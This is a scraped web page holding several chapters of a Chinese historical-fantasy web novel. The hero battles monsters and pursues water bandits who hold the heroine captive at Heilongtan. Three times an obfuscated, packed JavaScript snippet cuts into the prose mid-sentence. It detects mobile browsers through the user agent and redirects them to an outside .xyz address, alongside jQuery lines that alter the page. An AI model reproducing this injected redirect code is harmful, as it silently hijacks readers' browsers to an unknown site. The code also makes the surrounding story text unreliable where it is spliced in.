从怪物手中逃生的孟长宇一边爬一边发出庆幸的狞笑,直到跟前出现了一道散发着冷厉气息的身影,这才僵住,艰难地抬起头往上挪移视线。 夜色昏暗,他看不清跟前的人的样貌,但是那双眸色冷冽的眼睛却让他无端心生恐慌,不敢用力喘气。 正在他暗自猜疑之时,另有一人点起火把,炽热火光照亮了那张清贵俊逸却毫无温度的脸。 “你就是孟长宇?”晏返一脚踩住孟长宇的肩头,面色阴沉问道,“你抓走的人现在何处?” 孟长宇眼珠转了转,最初涌上心头的恐慌微微退去,取而代之的是一股亡命之徒的癫狂。 他明白了眼前的人是来找谁的,顶着一头鲜血咯咯笑起来:“你是在问我抓的小美人?晚了!这会儿她应该都成了肉泥了!哈哈哈哈哈哈……” 晏返只觉得心口陡然传来一阵钝痛,钻心蚀骨的疼痛瞬间涌动至四肢百骸,呼吸凝滞得厉害。 他眼底杀气汹涌,眸光一凛,锐利长剑便已出手。剑尖瞬间刺穿脚下人的肩胛骨,扼住了他发狂般的笑声。 “她到底在哪里?” 孟长宇发出了一声惨呼,布满血丝的眼球因为剧痛暴突出来,直往井口的方向打转:“当然是在井里啊……呵呵呵……塌了!肯定塌了!” 他还没来得及再次发出幸灾乐祸的笑声,肩上的剑就陡然被拔去,一只大手径直揪住他的衣襟将他拎起来,面前逼视他的那双眼睛像是覆了千年的霜雪,目光冷透。 “带我去。” 对方一字一句说得堪称平静,却让他两股战战,不住颤抖。 地面再次猛烈震动起来,井口堆砌的石块骤然崩裂,连同井口在内的一大块平地应声塌陷下去。 有什么东西在陷落的土坑碎石中耸动,发出嘶哑愤怒的吼叫声。 “哈哈哈哈……”孟长宇见状仰头大笑起来,“你若真想去,就先领教领教我的杰作吧!哈哈哈……” 晏返将孟长宇甩到墨云脚边,手中利剑挽了一道凛冽剑花,压住体内因气血逆行而产生的狂躁,冷眼步向土坑。 夜风凛冽,在孟长宇渗人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493333|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声中,两个庞然大物从土坑中翻身而出,冲着三人所在的方向瞪圆了两双泛着死气的眼。 浓重的腐臭气味从两只皮肉绽开的怪物身上溢出,它们打量手持火把的墨云以及他控制在手中的孟长宇片刻后,接连发出不甘的尖啸,而后龇着尖利牙齿朝晏返一拥而上。 对方虽然看着身躯庞大,行动却十分迅猛,粗壮的后腿一蹬,弹指之间便到了眼前。晏返仰身避过,触及地面的手猛力一拍,整个人迅捷从怪物下方滑出。他旋即跃起,对着怪物后背一剑斩下。 预想中的皮开肉绽并没有出现,这怪物竟如铜墙铁壁般纹丝不动! 但饶是没伤及皮毛分毫,后背毕竟受到了利剑重击,怪物恼火地转身,利爪抓住了长剑,另一只大掌作势便要拍过来。 眼看另一只怪物也再次猛扑过来,晏返强自压下涌上喉头的血气,握剑的手倏然一松,一个鹞子翻身躲过两只怪物的夹击。 怪物尖利手指从眼前堪堪划过,晏返见势本该急退,但他的视线却突然在怪物的指缝间凝住。他不顾紧随拍来的利爪,飞掠上前拽住那只粗糙狰狞的手,从那手上拽下一物。 撤后迟了数息,他被迎面而来的坚硬大掌重重一拍,瞬间锋利指爪划破皮肉,在他下颌处留下几道深深血痕。 刺痛渗入绽开的皮肉,他却无暇顾及,目光落在从怪物手中夺下的东西上,心口处便涌起了与那伤口无关的剧烈阵痛—— 那是一条丁香色的布片,依稀能辨认出飞鸟团花的纹样,正是林雪意今日身上的衣料。 “林雪意……” 瞬息之间,一股陌生的狂气伴随着震怒在逆流的血液中叫嚣奔涌,冲破周身各处关窍。他抬眸看向张牙舞爪的两只怪物,墨色双眼深邃浓重如不见天日的深渊。 墨云见晏返受伤,本想出声询问,却陡然觉察到一股慑人气势,到嘴边的话由于这股强烈的威压咽了回去。 夜风骤停。 整个世界恍惚间阒寂无声。 视野中下颌淌血的男子陡然消失,墨云只觉得一丝微弱气流从跟前闪过,手心骤然一空,原本握在手中的剑便不见了踪影。 空气中顿起肃杀之气,泼墨般的夜色中不见剑锋,只见剑光如雨。 几个弹指之后,笼聚在院中的杀气顿时四溢开来,空中盈满了血腥之气。朔风四起,野兽痛苦的吼叫声轰然响起在夜空下。 墨云循声看去,那两只怪物的身上瞬间飞溅出数十道血痕,只是眨眼的片刻,那庞大身躯竟生生从腰部断开。 四截躯干轰然落地的刹那,那道颀长挺拔的身影重新落入旁人的视线中。 他一身浅金色衣袍上遍布刺目的血迹,棱角分明的脸庞上只剩漠然,饶是有火光照耀,那一双沉黑双眸依旧毫无温度,如深渊般凝视着地上被劈斩成两段的怪物。 那两只怪物被腰斩在地,其中一直嚎叫几声后便没了动静,另一只却不再顾忌墨云手中的火把,一边喘着粗气一边朝他脚边的孟长宇爬去,直愣愣看向他的眼睛仿佛两个血洞。 “你别过来!”孟长宇眼中布满了惊恐的神情,蜷起身体紧紧抱住墨云的腿,心惊胆战地盯着离他越来越近的半截怪物,语无伦次地大叫起来,“别过来!别让它过来!求求你们,别让它过来!救我!救救我!只要你们肯救我,我就告诉你们另一个出口在哪里!” 剑锋划过空气的啸声陡然响起,那怪物硕大的脑袋应声而落,飞洒的血液泼溅了孟长宇一身。 孟长宇顿时松出一口气,两眼一翻,正要晕死过去,就被人揪了起来,冷厉语声兜头劈落。 “说!” 61. 内讧 晏返攥着对方的拳头颤得厉害,几欲失控。 “地下……地下的石室,我还备了另一个出口……以防万一。”明明怪物已经身首异处,孟长宇却浑身战栗,缠着扭曲的嘴唇道,“如果石室还没塌,可以设法从那个出口进去。” “出口在何处?” 孟长宇瞅了一眼面前修罗恶鬼般的人,旋即心虚地移开视线,有些支吾道:“在……在黑龙潭的水中。” “黑龙潭?”晏返闻言眸色更冷。 他在江上落水后就派暗探去调查过那帮水贼的底细,黑水帮的水寨正是在黑龙潭一带。黑龙帮的首领沙虎前夜已经在江上丧命,眼下是副首领沙豹在坐镇水寨。 “我绝对没说谎!”像是怕他不相信似的,孟长宇连忙解释,“那里是黑水帮的窝点,易守难攻。我把出口设在那里,也是想着万一遭到官府追缉,若是逃进黑水帮的地界,官府的人也不敢擅入。” 孟长宇说着哆哆嗦嗦地在怀里掏了一阵,摸出了一把形状奇怪的钥匙,道:“若是要从外面进入,用这把钥匙打开便可。” 晏返拿过钥匙,将孟长宇丢在地上,幽沉目光又落在坍塌了一片的地面上。 原本强压下的血气在心口处冲撞激荡,他只觉得喉头一甜,猛然吐出一口鲜血来。 “世子!”墨云连忙上前。 晏返抬手擦掉唇边血迹,冲他摇头:“我没事。你去县衙找付世仁,让他派人来此处挖掘。” 他说着又冷冷向孟长宇瞥去一眼,道:“此人交给你,别让他耍花招。” 墨云抱拳领命,见晏返转身便走,问道:“您要去哪儿?” “黑龙潭。” · 林雪意被丢在地上,深夜冰凉的空气猛然灌入肺腑,激起她一阵剧烈的咳嗽。 四周是炽热明亮的火把,火把下是一张张目露凶光,不怀好意的脸。 她和芷柔从石室水池中的出口逃脱,幸好芷柔熟悉水性,拉着她往上游,她这才没溺死在水中。 可是她们刚浮上水面,就被一人抓住丢上了岸。紧接着,便是围上来这么一群目光奸猾的男人。 她全身湿透,潭水的冰冷丝丝入骨,哪怕是努力想要镇静下来,身体也不由自主地发起抖来。 她一面护住蜷在她身侧瑟瑟发抖的芷柔,一面抬眼打量周遭。 她们上来的地方是一个巨大的水潭,近出的水面漆黑一片,像是能将人吸进去。但是远处的水面上却是灯火通明,一座巨大的水寨架在水上,楼宇林立,鳞次栉比。交相辉映的灯光映入水里,仿佛繁星密布,却寒气逼人。 林雪意心中已有猜测,开口问道:“你们是什么人?” 围住她们的其中一人上前一步,贼眉鼠眼地嗤笑道:“妞儿,大名鼎鼎的黑水帮听过没有?” 林雪意并不意外,她身后的芷柔却结结实实地打了个冷颤——黑水帮不就是那群在江上横行的水贼的名头! 林雪意转头冲她微微摇头,示意她不要作声。 石室下的水池竟然通向黑水帮的地盘,这让她始料未及。眼下情况未明,敌众我寡,逃跑并无胜算,只能先静观其变。 “嘿!”那水贼乐了,拍拍胸脯调笑道,“小妞,你们是外头来的吗?黑水帮没听过,我二柱子的名头……” 他的话没说完,就被身后的一股大力推搡开来,正要发火,见到来人后立刻面色一转,谄媚道:“我们二当家沙豹的大名总该听过吧?” 林雪意闻言向被他口中的二当家移去目光。 此人体格虽然没有她见过的大当家膘壮,但也人高马大。他长相刻薄,倒三角眼中目光诡诈,显然也不是个好相与的。 就在她打量的当下,沙豹径直俯身勾起她的下巴,啧啧称赞:“绝了!老子可是很久没见到长得这么标致的妞儿了。” 他贪婪的目光正要往下挪移,却很快被边上浑身战栗的芷柔吸引了注意。他对着芷柔一阵打量,更加愉快地笑起来:“这小妞也是……有个词怎么说来着?叫花……花……” “花容月貌。”人群中有水贼提醒道。 “对!就是花容月貌!哈哈哈……”沙豹更乐,笑着拍了那水贼一下,把对方拍得一个趔趄。 “嘿嘿嘿,咱二当家就是有文采。”那个叫做二柱子的水贼忙不迭地拍起了马屁,谄笑道,“不如,属下这就把这两个妞儿送到您房里?” “嗯。”沙豹颇为受用,满意地拍了拍他的肩膀,“你小子会来事儿啊。” “这大当家都还没回来呢。”人群里突然有人小声嘀咕了一句。 那声音虽然不大,却显然传进了沙豹的耳中。他顿时脸色铁青,冲那个方向怒道:“是哪个杂种扫老子的兴?给老子滚出来!老子睡个女人,也要经过我大哥同意吗?” 人群中立时有人推搡了一阵,方才说话的水贼就被推了出来。 事出突然,那水贼僵硬地笑了笑,牵强辩解道:“二当家,我不是这个意思。我只是觉得这两个小妞突然出现在这里,或许有什么蹊跷。如果大当家也在场,帮着看看会稳妥些。” “就你聪明!就你心眼子多!”沙豹说着往对方脸上招呼了两巴掌,眼神幽幽转到林雪意和芷柔身上,狞笑道,“这里可是黑龙潭,有进无出,有来无回!来人,把这两个小妞绑到老子的床上去!” 林雪意心中已有成算,瞅准了这个时机朗声道:“别碰我!你们知道我是谁吗?” 沙豹目光一顿,凑近了戏谑道:“哟,你别真的是混进来打算对老子使美人计的吧?那来吧!” “无耻之徒!我可是扬州监察御史之女!”林雪意一边悄悄按住芷柔的手,一边睥睨众人,“你们胆敢动我一根寒毛,我爹爹不会放过你们的!” “哦?监察御史的女儿?”沙豹不以为然地挑眉,环顾四周道,“弟兄们,这个什劳子的御史是多大的官啊?要比天王老子还大吗?” 人群中发出一阵哄笑。 他一番浑话正中林雪意下怀,她冷笑道:“你们可以不怕我爹爹,但你们大当家的死活,你们也不在乎吗?” 此言一出,周围安静了一瞬,沙豹的面色显而易见地阴沉下来。 “你什么意思?”有人抢在沙豹前头质问她,“我们大当家在你爹那狗官的手里?” “难怪我们一直找不到大当家!” 沙豹的脸色更加难看,骂道:“给老子闭嘴,你们这些个蠢货!她根本就是胡说八道!” 立即有人附和沙豹:“二当家说得对。我看她就是在忽悠咱们。” “怎么?不信?”林雪意扫视一圈,神情倨傲,“前日夜里,是有个自称什么黑水帮大当家的,带人去劫杀我和我爹爹坐的官船。幸好我爹爹护卫带得足,你们大当家早就被我们抓起来了。今日我跟丫鬟不慎落水,我爹爹一定会派人来找我的,你们最好对我客气点!” “二当家,我看她说的不像假话,她连大当家劫船的事都知道。” “是啊。”有人接道,“二当家,只要我们捆上她,不怕那狗官不放人!” 听着耳边议论纷纷,沙豹脸色越来越沉,道:“不可。” “为什么不行?二当家,你该不会盼着大当家回不来吧?”有水贼怒气冲冲地问。 他话音未落,立刻就有人骂道:“你这孙子胡说八道些什么?二当家跟大当家是过命的交情,轮得到你这崽子来编排?” 眼见两边剑拔弩张,沙豹抬了抬手,高声道:“都给老子冷静!” 等众水贼稍微安静了一些,他又接着说:“如果那狗官真的有能耐能抓住大哥,这小妞说不定就是他放出来的饵! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529114|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哥我自然是要救的,但我也不能让弟兄们糊里糊涂地去送死。” 他说着对左右使了个眼色:“把她们带回去,我要亲自审问她们。” 不多时,林雪意和芷柔就被水贼押进了水寨。 等她们被丢进柴房后,沙豹摒退了众人,只留下那个先前对他大献殷勤的二柱子。 他也不急着问林雪意大当家的下落,而是拔出了自己腰间的匕首,伸出手指在刀锋上剐蹭。 林雪意自然知道他心里的算盘。 她已经从这帮水贼的争执中发现,这二当家跟大当家并不是一条心。 眼下他还不知道那大当家已经葬身火海,只以为是被她杜撰的御史爹爹抓了,自然是想着怎么先一步对大当家下手,然后光明正大地取而代之。 “啧啧啧,真是可惜啊。”沙豹蹲在林雪意跟前,边说边将匕首贴上她的脸颊。 林雪意瞪圆了一双水杏眼,佯装惊怒:“你想干什么?你大哥还在我爹爹手里,你可别乱来!” 对方闻言意兴阑珊地收用匕首轻拍着她的脸,咬牙切齿道:“小娘子,你这张脸生得这样好,真是我见犹怜。如果你不想漂亮脸蛋被我划烂,就乖乖听话!” 林雪意没再说话,警惕地看着他,缩着脖子点了点头。 见自己的威胁起了作用,沙豹满意地收起匕首,道:“一会儿你就告诉外头那些人,你刚才是骗他们的,我大哥已经死了。” 二柱子闻言很是诧异,连忙问:“二当家,这是为什么?” 沙豹神色冷淡道:“现在黑水帮有我,大哥他已经没有回来的必要了。” “二当家,您难道要……”二柱子正要再说,到了嘴边的话却被沙豹一眼瞪了回去,低头讪讪道,“可要不是大当家当初跟官府周旋,我们也难有今日的势头……” “要怪就怪大哥他自己糊涂!以黑水帮如今的势力,那姓付的狗官能拿我们怎么样?他非要去当官府的走狗,劫来的钱财要分出去不说,还让弟兄们替那狗官卖命。” 沙豹骂了一阵犹觉得不解气,忿忿道:“这次要不是他听了狗官的话要去刺杀那个女御史,又怎么会被抓?偷鸡不成蚀把米,全是他自找的!” 缩在墙根下的林雪意不动声色,眼底划过一抹幽光。 她早就怀疑那夜那些水贼就是冲着她来的,原来是跟付世仁沆瀣一气。只是她跟付世仁并不相识,也无过节,他又为什么要害她? “那狗官本来就是要借刀杀人,到时候如果事情败露,我们只会是替罪羊!黑水帮只有在我手里才能壮大。你给老子识相点,要是出去多嘴多舌,老子剁了你的舌头!” 被沙豹这么呵斥恐吓一阵后,二柱子不敢再说什么了。 沙豹接着瞅了瞅林雪意,挑眉问道:“小娘子,你老实告诉我,我大哥现在人在哪儿?” 眼看火候已经差不多,林雪意道:“告诉你可以,但你必须保证我主仆二人的安全。否则我不会让你如愿的。” 沙豹冷笑起来,手中转着匕首,眼中寒光森然:“还敢跟老子谈条件?你就不怕我杀了你?” “二当家,我可不傻。”林雪意仰起头,样子颇为硬气,“我一日不说,便有一日的利用价值。要是说了,才是死路一条。你若能让我们平安无事,那么你我皆大欢喜,若是不能,我便要闹个鱼死网破!” 沙豹闻言不由细细打量起眼前的女子。 先前惊鸿一瞥,他只觉得这柔弱小妞是个难得的美人,可是眼下她这刚烈的一番话,却像是在他心上挠了一下,弄得他心里痒痒的。 他看着看着,心中便浮起了一个念头。 “这也好办。”他扯动嘴角笑起来,目光在林雪意身上流连不去,“我很快就会成为黑水帮的大当家,你如果做了我的压寨夫人,还有谁敢动你?” 62. 毒计 “你说什么?”林雪意心中微讶,面上更是一脸难以置信,“你要我跟你成亲?我堂堂御史之女,怎么可能嫁给一介匪类?你做梦!” 沙豹看起来不但没有不高兴,反而好像兴致更高:“御史之女怎么了?我黑水帮帮众近千,能白得我这么一个女婿,是你爹的福气。你可别敬酒不吃吃罚酒!” 他说着往躲在她身后的芷柔身上觑了一眼,又朝二柱子使了个眼色。二柱子立刻会意,拔出刀架在了芷柔的脖子上。 “我是有点舍不得杀你,但你不肯从我,我有得是办法。”他边说边捏住林雪意的下巴,眼中精光大盛,“不如,我就先杀了这丫鬟来助助兴,你看如何?” “不!不要!”林雪意用力推开他,慌忙抓住二柱子拿刀的手,颤声道,“我跟小柔情同姐妹,你们不要伤害她!我……我嫁,我嫁就是了。” 沙豹笑得更加得意,示意二柱子退下。 “早这样不就好了。” “可是……可是……”林雪意装出欲言又止的样子,“我怎么都是官家小姐,就算是……就算是当压寨夫人,也必须要择良辰吉日,拜过天地才行。” “呵,官家小姐就是娇气。”沙豹凑到林雪意近前,用力嗅了嗅她身上的香气,笑意森然,“拜天地,可以!吉日么,择日不如撞日,我看明天日子就很好。” 林雪意忍耐着扑面而来的臭气,悄悄掐紧了手心。 沙豹显然心情不错,施施然问:“现在你可以说出我大哥的下落了吧?正好我明日让人去结果了他,来一个双喜临门。” 林雪意垂眸,敛去眼底幽光,道:“这事倒是有些难办。” 沙豹颇有些不以为然:“你倒是说说,是怎么一个难办?” “我爹爹是打算拿他去请功的,怕你们去劫他,因此请了机关术好手布下埋伏。囚禁他的地方,看起来只是一处寻常宅院,其实院中遍布机关,踏进一步就会引起万箭齐发,被射成刺猬。” 似乎是想到了人被扎成刺猬的样子,旁边的二柱子艰难地咽了一口口水。沙豹则是若有所思,瞅着林雪意道:“真有这样厉害的机关?你该不会是在骗我吧?” “你要是不信就算了!”林雪意料到他会怀疑,翻了个白眼,一脸不情愿地偏过头,露出脸侧在石室外被弩箭划出的伤口,“我今日有急事找我爹爹,一时忘了,触动了机关,差点就破相了。” 沙豹仔细瞧了瞧,发现那确实是箭尖划出的痕迹,这才容色稍缓:“这么说,你知道机关在哪?” 林雪意见对方放下了猜疑,便继续胡诌:“只有亲手布置机关的莫师傅才知道。他可不好糊弄,除了我和我爹爹,没人能让他解开机关。” “那我岂不是要绑了我老丈人去逼他才行?”沙豹摸着下巴道。 “那怎么成?那可是我爹爹!”林雪意抓着他衣袖急道,“我可以让小柔带上我的随身之物去传口令,求你别伤我爹爹!” “好好好。”见对方有求于自己,沙豹更加得意,满口应下,“就先让你这丫鬟去试试,实在不行再去绑你爹,还能顺便请他来看我们拜堂呢。” 他越想越觉得自己的计划天衣无缝,大手一挥,从门外叫进来两个水贼,让他们去准备一个干净的房间安置她们。 “对了,小娘子,你叫什么名字?” 临着林雪意出门前,沙豹抬手按住门框,挡住她的去路。 林雪意乌黑羽睫微微一动,掀起眼帘看他:“我姓薛,叫薛意。” “那薛小娘子慢走。”沙豹讪笑着松开了手,目光轻浮地打量渐行渐远的妙曼背影,伸出舌头舔了舔唇。 “你过来。”等到林雪意走远,沙豹又朝二柱子招招手,“一会儿你把水寨里的弟兄们召集起来,我有事要宣布。” “二当家……”二柱子刚开口就见沙豹恶狠狠瞪他一眼,立即识趣地改口,“老大,帮中追随沙虎的人可不少,您突然说沙虎死了,他们会不会不服?万一闹将起来……” “谁说我要宣布的是他的死讯?我可是想到了更好的办法。”沙豹冷冷笑道。 另一头,林雪意和芷柔已经跟着两个水贼进了给她们安排的房间。 两人身上的衣物虽然已经不再淌水,但还是湿漉漉的,在这深冬寒夜里冷得厉害,林雪意便拔了发间的一支银簪给水贼,向他们要干净衣物和姜汤。 大抵两个水贼受过沙豹叮嘱,倒也没有拒绝,收了好处后即刻去找这两样东西。 水寨里虽然没有女子,但因为平日里抢掠了不少财物,一通翻找之下还真让他们找着了一些从布商手中劫掠来的女子服饰。虽然不太合身,但总比没有好。 林雪意和芷柔换好衣服后,煮好的姜汤也端来了。 许是因为林雪意给了银发簪的关系,两个水贼似乎心情不错,还颇为慷慨地捎带了一个火盆进来。 芷柔等水贼退下后,战战兢兢地喝起姜汤。但粗手粗脚的水贼做出的姜汤实在有些难以下咽,芷柔啜了一口,一张秀气小脸立即皱成了一团。 她勉强喝了一阵,突然想起一件事来,小心打量四周后向林雪意问道:“大人,那二当家方才不是说要让您告诉水贼,说大当家已经死了吗?怎么这会儿又让人把我们送到屋子里了?” 林雪意已经硬着头皮喝完了姜汤,放下汤碗道:“那自然是因为,他改变主意了。” “这又是为何?” “这水寨里,他们二人都各有自己的势力。”林雪意向远处幽微的灯火望了一眼,收回视线道,“若他贸然宣布大当家的死讯,你认为大当家那边的人会善罢甘休吗?” 芷柔稍稍一想,旋即起了一身鸡皮疙瘩:“依我看,他们轻则会找我们对质,重则直接杀了我们泄愤。” 林雪意赞赏地向芷柔投去一眼,点了点头:“甚至,他们会怀疑是二当家想要取而代之,因此从中作梗,阻止他们营救大当家。” 因此,若沙豹直接说大当家已死,别说是让她做什么压寨夫人了,光是一部分水贼的敌对就会让他焦头烂额。 “那他会如何打算呢?” “我想,他多半是这样谋划的。” 林雪意一边将她们换下的湿衣服拿到火盆上烤起来,一边说道:“他会先放出一个假消息安抚众人,说他已经知道大当家被我爹爹关在了何处。他只要杜撰一个地点,说那里有重兵把守,让水贼有所顾忌,不敢贸然前去就行了。” 芷柔不解:“可是如果水贼还知道大当家还活着,他不就当不成首领了吗?” “这只是他的第一步。”林雪意解释说,“接着,他再说,为了营救大当家,他明日会跟我拜堂,并将成亲的消息放出去,引我爹爹带人来救我,来一个调虎离山。 “到了明日,他就会让大当家的人去假地点营救,叫他们扑个空,同时派出自己的心腹,跟你前往真正关押大当家的地方,神不知鬼不觉地除掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572520|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大当家。 “届时,他再把锅往我爹爹头上一甩,说人是我爹爹杀的。正好我爹爹也被引来了,水寨里的人不明真相,只要杀了我爹爹就会觉得已经替大当家报了仇。而我没有了倚仗,到时候对我要杀要剐,抑或是当个玩物,还不是他说了算?” 饶是芷柔性子柔弱,也不禁握紧了拳头,柳眉倒竖:“一石三鸟,这个二当家竟然这般奸诈狠毒!” 林雪意面上却无气恼之色,她轻轻咳了几下,将手中烤好的衣服放置一边,又拿起另一件湿衣服烤起来。 芷柔敏感地注意到她的咳嗽声,忙道:“大人,您可是受凉了?衣服放着我来吧,您快去躺着歇会儿。” 林雪意闻言轻轻弯起唇角,转头看她:“明日就大难临头,你不着急?” 似乎是想起自己这日里的一惊一乍和每每的化险为夷,芷柔有些不好意思道:“虽然我才认识大人不久,但我就是觉得,大人一定会有办法。” 林雪意倏然笑了,从换下来的一堆衣物的最底下,摸出了一样东西,轻轻放进芷柔手心里。 “我们将计就计。” 芷柔好奇地打量着手心里的物件。那似乎是一只袖珍的令牌,做成小小的条形,金属质地,上刻铭文。 屋外远处的灯火渐次熄灭,四下里阒寂无声。 林雪意凑到芷柔耳边,压低声音道:“这是调兵令,明日你去就带着它去我住的宅子。我此前已经拟好请兵剿匪的文书,有这两样东西,就能调动徐州守军,将黑水帮一网打尽。” “好。”芷柔连连点头,用力捏住令牌的手心竟微微出汗了。 林雪意又叮嘱道:“到时候会有水贼跟你上路,你自己要格外小心。只要到了我的住处那便安全了,墨云和深月都认得去你家的路,会将你送回去的。” 芷柔又应了句“好”之后,像是突然想起了什么似的,紧张地问:“大人,我走了,那您怎么办?” “你放心,在沙豹确认大当家已死之前,我不会有性命之忧。” 芷柔明白林雪意的意思,就如林雪意先前对沙豹说的,只要大当家没死,沙豹就会认为她还有利用价值,轻易不会杀她。 但她仍是忧心忡忡,眉头皱了又皱,道:“大人,那沙豹十足是个好色之徒。调兵遣将需要时间,若是救兵来得迟,一旦拜过天地,您岂不是要委身于一个恶霸?” 林雪意会过意来,她微微一笑,眉眼俱是坦然:“人行走世间不过一具皮囊,即使明日真的不如人意,只要能让你离开这里,我也觉得值得。” “大人……” 见芷柔泫然欲泣,林雪意安抚她道:“别担心,我说的只是最坏的打算。会有人来救我的。” “真的?”芷柔将信将疑地瞅她。 “真的。”林雪意莞尔。 她们还在石室中时,孟长宇曾说外面到处在搜查,想来是晏返已经找上了官府。如今那怪物引起巨大震动,甬道多半是塌陷了,这么大的动静,官府不会注意不到。 他们如果能发现石室,那便不难知道,石室通向黑龙潭。 “大人,夜深了,快些休息吧。”芷柔一起帮着烤干了衣物,起身去整理床铺。 林雪意闻言望了一眼黑黢黢的窗外,心中幽幽一沉。 孟长宇关于寒梅之毒的那番话又回响在她耳际—— 每夜子时,气血逆行,生不如死。 “晏返……” 63. 分道 野地空旷,荒草围拥的幽寒潭水如一方乌金镜子,将广袤夜空和几点黯淡星辰尽数倒映在潭面。 随着潭中水波涌动,潭面映出的幽微星光顿时湮灭在一阵飞溅的水花中。 一道迅疾身影刺破水面,自水中跃起,瞬息之间,挺拔颀长的身影便停落岸边。 男子抹了一把脸上水渍,睁开的双眼比身边的潭水更加幽沉。 边上立即有劲装打扮的人捧上一套干净的玄色素衣,问道:“首尊可是找到石室了?” 晏返从巽五手中接过衣服,摇了摇头,说的却是:“找到了。” 他找到了石室的位置,但是孟长宇所说的石室出口却已经被人打开。石室之中满目疮痍,潭水倒灌,到处漂浮着尸体残肢,宛如炼狱。 一想到林雪意先前就是被关在那样的地方,他的胸口就不可遏止地发痛。在那钝刀割肉般的疼痛中,一股怒意便油然而生。 她在石室之中都经历了什么?遭遇过怎样的凶险? 在她被困在那里的时候,他又在做什么? 巽五显然明白晏返的意思是没有找到人,叹道:“您有伤在身,方才就应该让属下去探的。” 晏返却仍是摇头。 即便是让巽五下水探查,如果对方说没有见到林雪意,他定然不会死心,要亲自下水再探一次才肯罢休。 早在他第一眼看见那些尸块的时候,他甚至无措地想过,林雪意会不会已经遭了害。好在那些尸块看着明显是男子的躯体残肢,他心头悬着的一块巨石才轰然落下。 既然石室已经被打开,那林雪意多半已经逃出去了。 “艮七何在?” 晏返话音方落,另一道黑影就闪现在草丛中,半跪抱拳道:“属下来迟,望首尊恕罪。” 晏返已经换好衣服,一身玄色劲装越发衬出他身上刀削斧凿般的冷峭。他收起方才自责时周身不自觉散出的凌厉之气,道:“我没有怪你。交代你的事,查得如何了?” 艮七立即起身回禀:“回首尊,黑龙潭因水潭形似黑龙而得名。水潭自中间被流石山隔开,此处乃是外潭,流石山之后的内潭便是黑水帮盘踞之地。” 晏返望了不远处阻挡前路的高耸山体一眼,眼尖地发现山石间有几处若隐若现的灯火。 “他们在山上建了营垒?” “是。”艮七颔首道,“流石山山势陡峭,易守难攻。在山上修建营垒,可说是一夫当关,万夫莫开。属下粗略估算,上面有不下百人。” “还查到了什么?” 艮七不知想到了什么,一时神色有些古怪,道:“今夜山上突然戒严,属下听到那些水贼说,他们二当家明日要成亲。” 晏返微微一顿,眼底疑色一闪而过:“这是他们的原话?” “是。” 晏返冷笑一声,面上却并无笑意。 既然水贼还称呼副首领为“二当家”,那么他们未必知道首领已经葬身火海,否则两天过去,黑水帮早已易主。 首领尚且下落不明,那副首领不但不派人寻找,反而还要成亲,可见并不忠心。 但是,即便沙豹在帮中拥趸众多,沙虎毕竟是黑水帮首领,拥立他的水贼仍占大头,沙豹敢在这种关头明目张胆地成亲,多半还有内情。 想到此处,晏返目光幽幽一沉。 “巽五,你去通知墨云,挖掘之事可以停了。让他回宅子里等消息。” “是。”话音落下的瞬间,巽五已经消失了踪影。 晏返复又抬眸看向前方那座怪石嶙峋的流石山,按下胸口翻腾的血气。 如果林雪意已经脱险,那自然最好,但她如果落进了黑水帮的手里,那么—— “艮七,你且前头带路。” ——即便是龙潭虎穴,他也非闯不可! · 夜深寒重。 被火把映照得灯火通明的荒僻院落里,不断传出铜器敲击,石块翻动的声音。 墨云站在逐渐被挖开的甬道里,脸色越来越凝重,心也越来越沉。 此处坍塌的情况比他想象的还要严重许多。孟长宇不知道从哪里弄来的许多巨石,虽然塌方碎裂,却仍不是几个人就能搬动的。且这些石头坚硬异常,难以凿开,想要各个击破也并不容易。 持续不断地的凿声突然停了,墨云心中一窒,走上前去,就见一扇石门横亘在残破的石壁之外,四周被七零八落的石块堵了个严实,令人无从下手。 他不死心地上前,贴在石门上听了听,里头毫无人声。 正想细看,外头就传来一阵煞有介事的叫声。 “墨护卫!墨护卫?墨护卫何在?” 他闻声走出甬道,几步跃上院落的平地,就见付世仁满脸紧张地跑过来,后头还亦步亦趋地跟着他那几乎掉光了牙的师爷。 “墨护卫,你可算出来了!”见到墨云,付世仁的目光更加热切,“本官已经查到林御史的下落了!” 墨云不由一惊,忙问:“大人她在何处?” “林御史是被黑水帮抓走了!” 墨云心中惊骇,却没漏看付世仁眼底的精光,半信半疑问道:“真的?” “自然是真的。”付世仁点头如捣蒜。 “是真的!”讲话漏风的师爷立刻帮腔,“大人派出去搜查的衙役抓到了一个水贼,那水贼亲口说的。” 墨云打量着面前一唱一和的两人,心中暗忖。 